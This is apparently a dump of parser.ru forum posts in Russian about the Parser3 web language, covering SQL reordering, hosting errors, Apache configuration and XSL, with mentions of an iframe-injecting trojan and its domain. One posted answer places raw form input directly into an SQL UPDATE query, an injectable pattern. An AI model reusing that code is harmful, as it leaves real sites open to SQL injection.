"61057","нужен программист на штатную или внештатную, но! постоянную работу\
--\
ася 109146847\
почта ze_fobos@mail.ru\
стучите пишите, обсудим з.п.\
\
Олег."
"61058","Ситуайия следующая. Есть таблица групп, среди полей которых есть orderPosition. Данное поле отвечает за место в списке групп. Т.е. группы выводятся в порядке orderPosition.\
\
Теперь стоит вопрос о смене этих позиций. Как бы это описать доходчиво...\
\
Ну вот есть у меня 3 группы, порядок их такой\
[code]id	orderPosition\
1	1\
2	2\
3	3[/code]\
теперь мне нужно поменять группу 1 - выставить ее после группы 3. Т.е. по идее порядок должен стать таким\
[code]id	orderPosition\
1	3\
2	1\
3	2[/code]\
Как мне это сделать по-спортивному? Пока додумался только до такого\
[code]################################################\
@prepareOrderPosition[iPosition]\
^oSql.void{\
	UPDATE\
		groups\
	SET\
		orderPosition = orderPosition + 1\
	WHERE\
		orderPosition > ^iPosition.int(0)\
}\
# end of @prepareOrderPosition[]\
\
################################################\
@updateOrderPositions[][tGroups]\
$tGroups[^getGroup[]]\
^if($tGroups){\
	^tGroups.menu{\
		^oSql.void{\
			UPDATE\
				groups\
			SET\
				orderPosition = ^tGroups.line[]\
			WHERE\
				id = ^tGroups.id.int(0)\
		}\
	}\
}\
# end of @updateOrderPositions[][/code]\
\
из формы приходит будущая позиция группы (вернее позиция группы, после которой мы вставим текущую группу), я увеличиваю позиции всех групп, позиции которых больше той, в которую мне надо вставить текущую, на 1, потом вставляю текущую группу. И чтобы номера позиций не разрастались до бесконечности, после операции нумерую позиции заново с единицы. Все работает, но через зад как-то. Может у кого есть алгоритм правильный для моей ситуации? Или хотя бы намекните на реализацию."
"61060","10 раз сменю позицию - а дальше что? Группы в интернет-магазине - позиция будет меняться практически каждый день - самореклама так сказать."
"61061","все решается в один запрос, если прочитать про то, что такое last_insert_id().\
\
UPDATE ...\
SET\
orderPosition = last_insert_id(last_insert_id() + 1)\
ORDER BY  orderPosition\
\
этот запрос перепишет все orderPosition начиная с 1"
"61062","Есть патч для gcc 4.1, там совсем чуть-чуть\
исправлений, куда и в каком виде слать ?"
"61063","можно patch, можно просто изменённые файлы (сам diff сделаю), только не забудьте указать для какой версии правки (в любом случае я их в cvs head буду добавлять, а не в 3.2.1)\
\
misha _at_ design.ru, в subj укажите Parser3"
"61064","На Мастерхосте вдруг перестал работать Parser2 (работал год нормально).\
\
В error_log отображаются следующие ошибки:\
\
/usr/libexec/ld-elf.so.1: Shared object \"libmysqlclient.so.10\" not found,\
required by \"parser2.cgi \"\
[Fri Jun 15 15:02:09 2007] [error] [client 87.242.97.36] Premature end of\
script headers: /home/u30565/chernobylprayer.ru/cgi-bin//parser2.cgi \
\
Также при проверке синтаксиса данного скрипта выводится следующая ошибка:\
\
Unrecognized character \\x7F at parser2.cgi line 1.\
\
Что делать?"
"61065","в support обращались?"
"61066","а если редактирую? Т.е. добавляться группы будут один раз - в начале создания сайта - потом только меняться позиции. Last_insert_id() не подойдет. Сейчас попробовал на уже имеющейся таблице ваш запрос - все значения orderPosition стали 0."
"61067","они говорят, что всё по договору работает -- php и т.п.\
\
а парсер они, дескать, не гарантируют\
\
я омню что эта ошибка лечится каким-то битом uid -- но не помню как сформулировать для саппорта"
"61068","посмотри вот этот тред http://www.opennet.ru/openforum/vsluhforumID9/3249.html\
может пригодиццо, я сам особо не вникал.\
\
Имеет смысл всё-таки чисто по-человечески поболтать с суппортом хостера. Очевидно, что имела место какая-то переконфигурация сервака. Скорее всего там делов-то симлинк какой-нить прописать и всё."
"61069","[code]@moveObject[hParams][iShift]\
$iShift(^math:sign($hParams.new_sort_order - $hParams.sort_order))\
^if($iShift){\
	^pSQL.void{\
		UPDATE\
			object\
		SET\
			sort_order = sort_order - ($iShift)\
		WHERE\
			^if($iShift > 0){\
				sort_order >= ^hParams.sort_order.int(0) + 1\
				AND sort_order <= ^hParams.new_sort_order.int(0)\
			}{\
				sort_order >= ^hParams.new_sort_order.int(0)\
				AND sort_order <= ^hParams.sort_order.int(0) - 1\
			}\
	}\
	^pSQL.void{\
		UPDATE\
			object\
		SET\
			sort_order = ^hParams.new_sort_order.int(0)\
		WHERE\
			object_id = ^hParams.object_id.int(0)\
	}\
}\
#end @moveObject[][/code]"
"61070","после 10-20 операций с перемещением групп (всего 5 групп), orderPosition последней был 23, вместо ожидаемого 5. Такое неконтролируемое разрастание нам никчему."
"61071","проверьте параметры:\
$.object_id - id перемещаемого объекта\
$.sort_order - его sort_order\
$.new_sort_order - sort_order объекта, [i]вместо[/i] которого мы вставляем текущий."
"61072","Для вставки в форму... Только не визивиг! Хотелось бы видеть все вставляемые коды.\
Хотелось бы минимум функций (B,I,U,выравнивания и настройки шрифта(размер, фейс и цвет)).\
\
Заранее благодарна всем откликнувшимся."
"61073","поправил чуток код, вроде все норм стало\
[code]################################################\
@moveGroup[hParams][iShift]\
$iShift(^math:sign($hParams.newOrderPosition - $hParams.orderPosition))\
^if($iShift){\
	^oSql.void{\
		UPDATE\
			groups\
		SET\
			orderPosition = orderPosition - ($iShift)\
		WHERE\
			^if($iShift > 0){\
				orderPosition >= ^hParams.orderPosition.int(0) + 1\
				AND orderPosition <= ^hParams.newOrderPosition.int(0)\
			}{\
				orderPosition > ^hParams.newOrderPosition.int(0)\
				AND orderPosition <= ^hParams.orderPosition.int(0) - 1\
			}\
	}\
	^oSql.void{\
		UPDATE\
			groups\
		SET\
			orderPosition = ^hParams.newOrderPosition.int(0) ^if($iShift < 0){ + 1}\
		WHERE\
			id = ^hParams.id.int(0)\
	}\
}\
# end of @moveGroup[][/code]\
\
В противном случае, при попытке переместить первую группу на место пятой, имели пятую группу с номером 6. И так росло до бесконечности. И при попытке сменить пятую на первую - имели две первых."
"61074","Вот эта строчка\
\
[code]orderPosition = ^hParams.newOrderPosition.int(0) ^if($iShift < 0){ + 1}[/code]\
\
означает, что вместо newOrderPosition вы передаёте непонятно что. Если вы перемещаете пятую группу на место первой, то newOrderPosition должно содержать единицу (это вроде очевидно). А ваш код почему-то записывает в базу двойку. Где логика?"
"61076","Лично я использую jQuery/Interface/Sortables, который позволяет произвести все необходимые перестановки и возвращает список идишников в новом порядке. Этот список слегка модифицируется яваскриптом, отправляется на сервер и записывается в базу [i]одним[/i] простым запросом.\
\
JS:\
[code]$.post('./', {\
	action: 'updateObjectOrder',\
	object_ids: $.SortSerialize('sortable').hash.match(/\\d+/g).join(',')\
})[/code]\
\
Parser:\
[code]^if($form:action eq updateObjectOrder && def $form:object_ids){\
	^csql.void{\
		UPDATE\
			object\
		SET\
			sort_order = FIELD(object_id, $form:object_ids)\
		WHERE\
			object_id IN ($form:object_ids)\
	}\
	$response:body[]\
}[/code]"
"61077","проблема была в том, что при смены позиции группы на последнюю, нужно передать номер этой последней группы, т.к. все предидущие сместяться на одну вверх - я же передавал последнюю+1 - поэтому росло все.\
\
Кроме того при добавлении новой группы, ее текущим номером нужно указывать макс_порядковый_номер_групп + 1 - тогда все работает.\
\
Не прошло и года... )"
"61078","Не помогло! \
\
Не работает паршер на локал хосте! Причем 127.0.0.1 и 127.0.0.2, а мой сайт на 127.*.*.* не работает. Он не обрабатывает команды! Все перелапатил не нашел как это лечить! Я просто попытался сделать 1ый урок, но ^navigation отображается как ^navigation в виде букв и не обрабатывается! Я установил Apach parsher 1.3 c сайта. \
\
Что делать, где может быть ошибка? Я реально все пересмотрел, но не нашел ответ на свой вопрос.\
\
З,Ы, \
\
А как у Хостера будет обрабатывается parsher?"
"61079","если у вас виден код парсера, ты вы наверняка не установили парсер как обработчик html файлов.\
добавьте подобное в .htaccess, который должен лежать в корне сайт:\
[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
и читайте внимательнее..."
"61081","Спасибо! Дело было в том, что .htaccess устанавливается пакетом apache_swissknife_035_full.exe в localhost01 не работает на моем localhost05. \
\
Вообще при копировании localhost01 в localhost05 исходный html перестает обрабатываться. Как то мне странно!\
\
Изменил то, о чем вы мне написали, выдает следующее (The requested URL /cgi-bin/parser3.cgi/index.html was not found on this server.) --- Из этого я понимаю, что у меня нет parser.cgi  Где мне его достать?\
\
! ХОЧУ ЗАМЕТИТЬ, ЧТО Я УСТАНОВИЛ ВАШ ПАКЕТ И НИЧЕГО В НЕМ НЕ МЕНЯЛ!  \
\
Я все прописал в httpd.conf и httpd.conf.dist"
"61082","Выдох :)\
Если вы собрались разобраться со все за пол часа или даже быстрее, должен Вас огорчить, не получится.\
\
Что я Вам посоветую\
1 Утро вечера мудренее :)\
2 http://www.parser.ru/faq/install/\
3 Для совсем начинающих я бы посоветовал \"Джентльменский набор Web-разработчика (Денвер)\" можно найти по ссылке http://www.parser.ru/download/win32/\
4 Оно Вам нужно?\
5 Зачем?\
\
\
ps: Программное обеспечение пока не обучено подчиняться вашим эмоциям, так что кричать бесполезно.\
\
pps: Прежде чем писать сюда обязательно, вдумчиво, возможно не один раз прочитайте http://www.parser.ru/faq/forum/ Иначе может случиться так что мой ответ в этом форуме последняя реакция на Ваше присутствие\
\
ppps: Прежде чем писать о том что Вы использовали поиск по форуму нужно прочитать и освоить следующую ссылку http://www.parser.ru/forum/search_options.html (находится рядом с кнопкой найти)\
\
:)"
"61083","мне бы присутствие кнопочек над окном редактора..."
"61084","Видимо проблема всетаки в IE. Сам пользуюсь исключительно Firefox, однако жена к нему не привыкла и юзает IE. Видимо через него и уползло, т.к. дома и DrWeb свежий стоит и Outpost постоянно все запрещает...\
\
Вообщем, надо пароли постоянно на сайте менять. надо проверить КУДА именно вирус себя дописывает: в SQL-, xsl или прямо в .p-библиотеки..."
"61085","В окне добавления есть ссылки, вставляющий bbcode. Сделайте их кнопками, и делов."
"61086","Вчера клиент жаловался на 500 (незакрытый элемент iframe). Поглядели. Троян. Такая же история.\
\
Подгружает [i]iframe[/i] с новым адресом dorzentovan.com/sp (c IE не заходить). Переписывает *.html?. После body.\
\
Постпроцесс? Не катит -- атрибуты без кавычек. XSL-процессор ругается.\
\
Вот и валятся сайты на родных просторах интернета."
"61087","К слову о Денвере...\
\
мне (как человеку ленивому) для локального тестирования очень нравится использовать [url=\"http://swissknife.bougakov.com/?comefrom=sw_035full\"]Apache Swissknife[/url] от Александра Будакова aka Sanja, за что ему огромное спасибо и низкий поклон."
"61088","в @unhandled_exceptionхъ можно добавить код, который детектирует эту проблему и... копирует из заранее заданного места исходные файлы в веб пространство на место изменённых (сравнивая md5/crc32 или просто распаковав архив)\
\
понятное дело, что поддерживать подобное будет сложнее, но система сама сможет восстанавливаться от некоторых взломов."
"61089","Моего хостера видимо утомили вопросами, вот тут есть статья по этому поводу:\
http://multihelp.ru/readarticle.php?article_id=10"
"61090","Вроде все понятно. Принял меры."
"61091","Естественно, можно иметь копии файлов и сравнивать их хэш-суммы. Спасибо."
"61095","но, там есть один жирный минус надо немного больше прочитать/написать чтобы заработало.\
\
Я имею в виду конфигурацию хостов в апаче и внесения изменений в hosts.\
В денвере эти действия делаются автоматически. Достаточно скопировать подходящую папку с сайтом, назвать правильным образом. При перезапуске денвера все необходимые изменения будут внесены в соответствующие файлы.\
\
хорош Apache Swissknife только наличием написанных примеров, встроенным тестовым smtp, и упрощающей жизнь панелью для знающих что куда писать :)\
\
Как водится, всё сказанное мной по определению IMHO :)"
"61097","Зачем создается четыре кнопки Отправить с различными неймами?"
"61099","для редактора это вам не нужно.\
\
это сделано для защиты от спама. подробности описаны в примере про антиспам."
"61101","Из текста нужно выдернуть список уникальных слов с количеством вхождений. Вполне логично использовать для этого хэш, имхо... Делаю так:\
[code]\
^someText.match[\\b(\\w{3,})\\b][g]{\
   $hWords.[^match.1.lower[]](^hWords.[^match.1.lower[]].int(0)+1)\
}\
[/code]\
как только в тексте попадается слово union (думаю с add etc. будет тоже самое) - вываливаемся в exeption\
[i][b]int[/b] is 'junction', it has no elements[/i]"
"61103","вы хотите, чтобы Parser был прописан для [b]всех[/b] вирт. хостов, а не только для 127.0.0.1?"
"61105","Назначение парсера обработчиком html для меня не является проблемой.\
Это является проблемой для начинающих, которые с трудом представляют что такое вебсервер, кто такой апач :) и как его настроить.\
\
Соответственно мне безразлична эта настройка, но я могу предположить,- эта настройка будет очень приятна начинающим как и другие функции ранее указанные мной."
"61106","реально ситуация очень серьезная и указанная задача не может быть решена прямо.\
более того задача очень распространённая и я уже просто устал наступать на эти грабли.\
\
jk\
\
P.S. мне видится, что ничего не должно мешать использовать в качестве ключа например '=слово'"
"61107","а что - проблему действительно нельзя решить в корне?\
Ведь ключ $hash.union - сам по себе функционирует нормально...\
\
недоступны только [i]методы[/i] над ним.\
\
P.S.\
=слово\
потом ведь надо будет отрезать '=', когда понадобится. Врядли это быстро. Это конечно решение, но какое то некрасивое, имхо.."
"61108","[quote]Вчера в течение дня был взломан Web и FTP сервер компании Elcomsoft - www.Elcomsoft.com, в результате чего были доступны все новые релизы программных продуктов компании и регистрационные ключи пользователей, осуществившие покупки на сайте в 2007 году.[/quote]\
\
[url=\"http://www.securitylab.ru/news/297901.php\"]http://www.securitylab.ru/news/297901.php[/url]"
"61109","исторически сложиось так, что поиск полей и методов происходит по разному. увы, но изменить это поведение без потери обратной совместимости по моему невозможно.\
\
кроме того, с моей точки зрения упоминаемая проблема не настолько велика, чтобы стоило бороться именно с ней, а не с другими проблемами/добавлением нового."
"61110","В каком формате лучше хранить: обыкновенный datetime или unix-timestamp?\
\
В чем разница, достоинства и недостатки каждого формата? Есть ли еще варианты?"
"61111","их отличия описаны в [url=\"http://dev.mysql.com/doc/refman/5.1/en/date-and-time-types.html\"]документации по MySQL[/url]"
"61112","Уважаемый администратор сайта, что за спам такой в Яндексе?\
На каждый запрос по программным вопросам выдается страница статистики парсера: http://www.parser.ru/.stat/search_200605.html!\
\
Надеюсь, это вы не специально? Или не знаете, как пользоваться файлом robots.txt?"
"61114","Много низкочастотников. Так сразу в голову не приходит, но когда искал конкретную информацию, часто попадалась статистика сайта parser.ru в первой тройке. На самом деле, это не важно. Зачем статистика индексируется?\
\
Запросы:\
http://www.yandex.ru/yandsearch?text=htaccess+размер+документа+php (первое место)\
http://www.yandex.ru/yandsearch?text=скачать+htaccess+пример (третье место)\
http://www.yandex.ru/yandsearch?text=авторизация+apache+htaccess (первое место)\
как-то так...\
Примеры хороших запросов могут только убедить оставить всё как есть, а я пытаюсь добится обратного. Лично мне немного мешает поисковый спам в TOP10.\
\
PS\
Также в TOP3 по некоторым нетематическим запросам:\
http://www.yandex.ru/yandsearch?text=ужасное+порно+сервер\
http://www.yandex.ru/yandsearch?text=%F4%EE%F0%F3%EC+%E8%E7%E2%F0%E0%F9%E5%ED%F6%E5%E2+%EF%E0%F0%F1%E5%F0 -- стабильно первое место )))"
"61115","И весь этот бред приносит около 7000 уникальных посетителей в месяц..."
"61116","добавил в robots.txt\
\
но считаю, что ваша претензия не по адресу.\
\
с моей точки зрения в yandex могли бы давно добавить в exclude default пути трех-четырех скриптов статистики сайтов (webalizer, analog, awstats, weblog, возможно ещё нескольких, думаю им виднее)\
\
более того, интерпретировать полмегабайтную страницу как релевантную для приводимых вами запросов по моему глупо.\
\
и последнее: сайты делаются в первую очередь для людей, а не для роботов. заморачиваться на дополнительные телодвижения, чтобы облегчать жизнь последним -- не лучшее вложение времени. пусть разработчики поисковиков делают их умнее (кстати, попробуйте ваши строки поиска скормить google-у)\
\
P.S. очевидно, что посетители, приходящие на сайт по подобным запросам, не представляют для нас ни малейшего интереса. не думаю, что Василий Пупкин, намылившийся подрочить на порнуху, найдя parser.ru всё бросит и начнёт делать предлагаемые в документации уроки, хотя... судя по вопросам некоторых  вновьприбывших... %-)"
"61118","[quote]Все документы по адресу http://www.parser.ru/.stat/ будут удалены из базы Яндекса в течение нескольких дней.[/quote]\
\
:)\
\
Спасибо!\
\
То, что выдача Яндекса далеко не идеальна, это всем давно известно. Но раз уж 50% пользователей Рунета ищут там, то можно им немного помочь. Давно пытаюсь приучить себя использовать Google, но всё никак... Яндекс удобнее."
"61119","файл в формате .doc загружается на сервер через форму, там сохраняется. Вдруг с некоторых пор файлы стали портиться, т.е. после загрузки на сервер их невозможно открыть. Word говорит \"невозможно открыть файл\". Сравниваю файлы на локале и сервере - размер одинаковый. Смотрю в hex редакторе - вроде какие-то символы заменены.\
Кто-нибудь знает в чем может быть проблема?\
\
Parser 3.1.2\
P.S. На локале все по прежнему работает..."
"61122","Хотя сдается мне раньше не было этого \"rus\"...\
Хостер что ли переставил без предупреждения? \
попробовал CharsetRecodeMulipartForms off, выдает ошибку. но это уже к парсеру не имеет отношения.\
\
Спасибо за два мудрых слова!"
"61124","А как студия отнесется если я буду использовать \
imprimatur для своих сайтов?"
"61125","Подскажите, плиз.\
У меня есть форма с фотографиями, которые нужно сохранить на диск. Имена формы вот такие: photo_1, photo_2, photo_3 и т.д.\
\
$amount(10)\
\
^for[i](1;$amount){\
<input type=\"file\" name=\"photo_$i\" size=\"40\" accept=\"image/jpeg,image/gif,image/x-png\">\
}\
\
И как потом обращаться к полю, чтобы сохранить фотографию? Конструкция вида $form:photo_$i.name не работает по понятным причинам. Вот такого $form:photo_${i}.name – тоже…\
\
Искал по форуму, но к сожалению, не нахожу ничего. :("
"61129","Если \"для своих сайтов\" - это для себя любимого, в некоммерческих целях - спокойно отнесется (аналогия с \"неуловимым Джо\"). В случае использования для разработки сайтов для коммерческих клиентов и обнаружении этого факта - проблемы могут быть. В первую очередь конечно у клиентов, а уж им решать, передадут ли они какую-нибудь часть этих проблем вам, или нет. :)"
"61130","Да уж лучше свой написать, чем потом от юристов отхватывать :)"
"61131","Бродил по просторам интернета и задался вопросом...\
\
Большое количество известных (мне и, наверное, еще многим людям :-) сайтов и движков  написаны на PHP. На них бывает кучу посетителей в день, большие нагрузки...\
\
Короче, у меня вопрос: а на какие максимальные нагрузки рассчитан Parser? Есть ли примеры реализации на нем действительно ресурсоемких, интерактивных сайтов?\
\
По форуму уже искал, в результате получился следующий набор ссылок:\
- [url=\"http://www.parser.ru/forum/?id=26104\"]Осталось без ответа[/url]\
- [url=\"http://www.parser.ru/forum/?id=13931\"]занятные дебаты, суть которых \"оптимизируйте код и будет вам счастье )))\"[/url]\
- [url=\"http://www.parser.ru/forum/?id=8312\"]http://www.parser.ru/forum/?id=8312[/url]\
- есть еще???\
\
P.S. Будет интересно услышать разработчиков (Александр Петросян (PAF), Misha v.3."
"61132","из больших проектов (на вскидку)\
samsung (cgi, внешний прокси сервер)\
imb (cgi, без внешних кешей)\
alfabank (cgi версия без внешних кешей)\
а был ещё mts и форум у них (mod_parser3 у первого, cgi у второго тоже без внешних кешей внечале)"
"61133","... но, по моему, большинство этих сайтов относительно статичные, т.е.:\
- информация на них не обновляется каждую минуту\
- на них не бывает десятков тысяч пользователей, которые оставляют килобайты своей информации\
- и т.д.\
\
Внесу поправку: я хотел узнать насчет рациональности применения Parser для написания движка, так называемой \"социальной сети\", например: [url=\"http://www.vkontakte.ru/\"]В Контакте[/url], [url=\"http://www.habrahabr.ru/\"]Хабрахабр[/url]\
\
P.S. просто интересно"
"61134","Работоспособность целиком и полностью зависит от разработчика.\
Если человек понимает и хочет сделать сайт который будет \"летать\" при любых нагрузках, парсер ему верный помошник.\
\
Если он ничего не хочет делать, а тока рассуждать ниочем, то парсер ему не стоит трогать, чтобы не позорить его (Парсера) гордое имя ))"
"61135","а в выборе общей архитектуры.\
и PHP-CMS-системы падают от наплыва посетителей. Например, сайт [url=\"http://www.ubuntu.com/\"]http://www.ubuntu.com/[/url] \"падает\" регулярно с выходом новой версии, хоть и работает на весьма надежной (судя по рейтингам) CMS Drupal."
"61137","На Мастерхосте перестал работать Parser2. Причём они говорят, что сервер не меняли -- используется FreeBSD 4.11. Что делать?"
"61138","Да, я понимаю, что Parser разрабатывается для нужд Студии, и если будет необходимо его доработают до такого состояния, что на нем можно будет запустить самый нагруженный проект.\
\
Вопрос то в чем: реально ли это сейчас? Или все таки он предназначен для другой области?"
"61139","[quote]Работоспособность целиком и полностью зависит от разработчика.[/quote]\
\
Это ясно как 2*2\
Но все же существуют ограничения у любой технологии"
"61140","обсасывали не раз. ищите. \
\
мы двигаемся не по пути оптимизации языка для того чтобы с его помощью можно было решать сверхрессурсоёмкие задачи, а по пути упрощения решения простых и частовозникаемых на веб-е задач."
"61141","оффтопик: а что вы все так привязались к этому imprimatur'у? Это простая система, достаточно ограниченная по функциональности, и все. Ничего особенного в нем нет)"
"61142","а по поводу \"что привязались\", думаю ответ такой: \"дык делать ничего не надо\", ибо просто берётся готовое."
"61143","... Или не позволяет тарифный план?\
\
P.S. Проверьте имеется ли у вас файл libmysqlclient.so.10.\
[code]\
locate libmysqlclient.so.10\
[/code]"
"61144","меня вот что смущает —\
\
	[url=\"http://www.m4rr.ru/zalivka/files/_test-ovy.gif\"]ссылка на скриншот[/url]\
\
все же, это у всех так или только у меня?"
"61146","до сих пор некоторые методы некорректно работают в UTF8.\
указанные вами -- из их числа."
"61148","Вобщем, не понял до конца почему, но вот такая штука происходит.\
\
[code]\
$types[^table::create{type\
first\
second\
third}]\
<form method=\"post\" name=\"form\">\
	<select name=\"type\" onchange=\"document.forms['form'].action = '$base/' + this.options[this.selectedIndex].value;\">\
		^types.menu{\
			<option value=\"$types.type\"></option>\
		}\
	</select>\
	<input type=\"text\" name=\"text\">\
</form>\
[/code]\
\
URL имеед вид: http://site/the/base/[b]first[/b]/\
\
При изменении в селекте, меняется action у формы, дабы перевести на http://site/the/base/[b]second[/b]/\
Всё нормал, только если задать инпуту какое-нибудь значение и потом submit форму, он теряет это значение.\
\
Я чё-то забыл? Или пора менять руки?"
"61149","Михаил, что делать то подскажите...\
\
Вы можете пересобрать исходники? У нас с десяток сайтов на втором парсере и это коммерческие работы."
"61150","А как быть с таким случаем?\
$cTable.order$i"
"61152","Открыт форум по адресу [url=\"http://pengine.spb.ru/\"]http://pengine.spb.ru/[/url].\
\
Все вопросы, ответы и т.п. там."
"61153","Сегодня собрал версию из CVS с GCC 4.1.\
А то надоело уже отдельно собирать GCC 3 только лишь для того, чтобы собрать Parser."
"61154","у меня ошибка выходит \"Сервер не найден\" http://pengine/login.php?redirect=posting.php&mode=reply&t=2"
"61155","Поскольку домен был вроде бы pengine.spb.ru, а не pengine... А Вы зарегистрировались? Кто-то зарегистрировался и уже ответил.\
\
Весьма странная у Вас ошибка. Я подумаю над этим."
"61156","Я в строчке select в конец добавил +'/'\
[code]<select name=\"type\" onchange=\"document.forms['form'].action = '$base/' + this.options[this.selectedIndex].value + '/';\">[/code]\
\
У вас же в этих каталогах (first,second,third) обработчик index.html ?"
"61158","если вы когда-нибудь получали ошибку при отправке письма типа\
\"'/usr/sbin/sendmail' reported problem: UNKNOWN (68)\", \
то, наверно, как и я мучались с выяснением проблемы.\
\
нашел расшифровку кодов sendmail, может и вам пригодится:\
EX_OK          0       /* successful termination */                             \
EX__BASE       64      /* base value for error messages */                       \
EX_USAGE       64      /* command line usage error */                           \
EX_DATAERR     65      /* data format error */                                   \
EX_NOINPUT     66      /* cannot open input */                                   \
EX_NOUSER      67      /* addressee unknown */                                   \
EX_NOHOST      68      /* host name unknown */                                   \
EX_UNAVAILABLE 69      /* service unavailable */                                 \
EX_SOFTWARE    70      /* internal software error */                             \
EX_OSERR       71      /* system error (e.g., can't fork) */                     \
EX_OSFILE      72      /* critical OS file missing */                           \
EX_CANTCREAT   73      /* can't create (user) output file */                     \
EX_IOERR       74      /* input/output error */                                 \
EX_TEMPFAIL    75      /* temp failure; user is invited to retry */             \
EX_PROTOCOL    76      /* remote error in protocol */                           \
EX_NOPERM      77      /* permission denied */                                   \
EX_CONFIG      78      /* configuration error */                                 \
EX__MAX        78      /* maximum listed value */"
"61160","Зачем вам параллельно делать одно и тоже?"
"61162","раз она так проста, почему бы вам не написать свою?\
это их труд, и они имеют право на него."
"61163","PAF как-то предложил такой способ написания JS в XSL:\
http://www.parser.ru/forum/?id=26387\
\
Такой текст, как я понимаю, не должен работать в XHTML (закомментированный <!-- --> скрипт не будет выполняться).\
\
Наткнулся на такой вариант (http://www.citforum.ru/internet/html/cross/):\
[code]\
<script type=\"text/javascript\"><!--//--><![CDATA[//><!--\
  ...\
  //--><!]]></script>\
[/code]\
\
Судя по всему, такой код должен работать в разных браузерах. Хотелось бы услышать соображения участников форума на этот счет. Возможно такой способ чем-то плох?"
"61164","JS код в XSL тоже писать не нужно.\
\
Никто не мешает положить его в отдельный файлик и в XSL сгенерировать только вызов этого скрипта.\
Или, в исключительных случаях, когда действительно нужно JS-код сгенерить XSL'м сделать замену <> на сущности.\
\
Например:\
[code]\
<xsl:comment>\
	<xsl:text disable-output-escaping=\"yes\">\
		if(1 &lt; 10){\
			window.alert('yes');\
		}\
	</xsl:text>\
</xsl:comment>\
[/code]"
"61165","Как это будет выглядеть в полученном XHTML?\
Насколько я понял, имелось в виду:\
[code]\
<script>\
<!--\
		if(1 < 10){\
			window.alert('yes');\
		}\
-->\
</script>\
[/code]\
\
Дело в том, что конструкция <!-- --> в XHTML будет работать как комментарий и внутри элемента script, поэтому до выполнения кода, находящегося внутри, дело не дойдет.\
\
Что касается написания JS-кода в XSL, в моем случае есть необходимость JS-код, который попадает в XML-файл, описывающий страницу, выводить в соответствующем месте этой страницы.\
Для выдергивания самого кода я использую [code]<xsl:value-of select\".\" disable-output-escaping=\"yes\"/>[/code]\
\
Если я правильно понимаю, в XHTML JS-код должен всегда лежать внутри CDATA, т. к. XHTML - это XML-документ. Другое дело, что не все браузеры это понимают, соответственно, выдают ошибку."
"61166","т.е. из глобальных новостей - теперь можно грузить и файлики.\
\
\"по умолчанию\" теперь задано имя js класса JsHttpRequest вместо Subsys_JsHttpRequest_Js.\
\
обратная совместимость нового backend-а со старым JsHttpRequest обеспечивается инициализацией класса с параметрами:\
[code]\
^JSHttpRequest:init[\
	$.bOldStyle(1)\
	$.sJsClassName[Subsys_JsHttpRequest_Js]\
]\
[/code]\
\
спасибо бешеной корове (MadCow) за 'кАпанье на моск' в виде присланного изменения, и 'фе-е-е' ему же за то, что забил на доводку хотя бы в соответствии с отправленными комментариями :)\
\
P.S. тестовый чат теперь тоже использует новые классы"
"61167","Выходной код будет таким.\
Однако, вы ошибаетесь в том, что он не выполнится — выполнится, за милую душу.\
\
Внутри комментария может находится всё, что угодно, кроме последовательности --.\
Поэтому документ с подобным скриптом в комментарии будет правильно понят и интерепретирован браузером, при этом он является валидным XML-документом."
"61168","Кто устанавливал Parser на хостинге MTW подскажите как?\
\
Перепробывал все скомпилированные версии, все напрасно \"Premature end of script headers\". Что не так?\
\
Служба тех поддержки еле отвечает. Очень срочно нужно."
"61170","Хотелось бы узнать, почему все-таки CDATA -- зло?\
Дело не в том, что я так радею за CDATA, просто хочется разобраться."
"61171","Служба тех. поддержки сказала, что нужен исходник с статически скомпилированными библиотеками, где можно взять?"
"61172","это \"заглушка\".\
\
CDATA — не зло вообще, а зло в том применении, которое кругом имеет.\
На каждом шагу рекомендуют совать туда всё, что плохо лежит, не задумываясь реально оно нужно или нет.\
\
CDATA — инструмент для исключительных случаев.\
Он даже в идеологию XML не вписывается, т.к. представляет собой кусок инородных данных, которые разработчик из-за лени положил куда глаза глядят.\
\
Лично у меня за 4 года практического применения XSLT ни разу не было необходимости в применении CDATA."
"61173","Что за зверь такой?"
"61174","Для начала рекомендуется ознакомиться:\
http://www.parser.ru/forum/?id=58476\
http://www.parser.ru/forum/?id=58693\
\
И что там?\
Добавлен метод @use. Метод рекомендуется использовать для инициализации классов и других файлов P3, т.е. используется вместо встроенного в парсер @use[] метода.\
\
Как этим пользоваться?\
[code]\
$MAIN:oDebug[^Debug::create[\
	$.LOG_PATH[/../data/logs/blib.xml]\
	$.IS_APPEND(false)\
	$.IS_GUESS_TYPE(true)\
	$.TMP_PATH[/../data/tmp]\
]]\
\
^MAIN:oDebug.use[/classes/lib/bLib.p]\
[/code]\
\
[b]LOG_PATH[/b] - путь к XML лог-файлу. Желателен, чтобы потом смотреть результат работы.\
[b]IS_APPEND[/b] - продолжать лог или начать новый\
[b]TMP_PATH[/b] - путь для сохранения обработанных классов\
\
Ссылка на скачивание: http://labour.googlecode.com/files/Debug-0.1b.tar.gz"
"61175","я весь сайт уже излазил не где его нет"
"61177","В какой ситуации приключилось, на какой платформе и, если можно, код который породил эту ошибку."
"61181","$results[^table::load[/results.txt]]\
\
^if(def $form:ok){\
\
\
\
 ^if($form:ok eq kirill1){\
$kirill1[$results.kirill1]\
$kirill1[^eval($kirill1+1)]\
$newresults[^table::create{kirill1	kirill2	kirill3	kuznecov1	chibirev	chibirev1	chibirev2	yakovlev1	yakovlev2	yakovlev3	x-ray1	x-ray2	x-ray3	boyarinov1	boyarinov2	boyarinov3	denisov1	denisov2	denisov3	spirit1	spirit2	spirit3	ppopov1	ppopov2	ppopov3	rabez1	rabez2	rabez3	mprokopenko1	mprokopenko2	mprokopenko3	alyaev1	alyaev2	alyaev3	orange_fox1	orange_fox2	orange_fox3	maslov1	maslov2	maslov3	kovshova1	kovshova2	boyarkin1	boyarkin2	boyarkin3	stamp1	stamp2	stamp3	efremova1	efremova2	efremova3	fisher1	fisher2	fisher3	omar1	omar2	omar3	omar4	nedlin1	nedlin2	anton1	anton2	anton3	bondakov1	lazutkin1	lazutkin2	lazutkin3	oleg1	oleg2	oleg3	alex1	asas	serge1	serge2	uchaev1	starikov3	starikov2	starikov1	lele1	eric1	eric2	eric3	mcsim1	sanesha2	sanesha1	alan1	alan2	alan3\
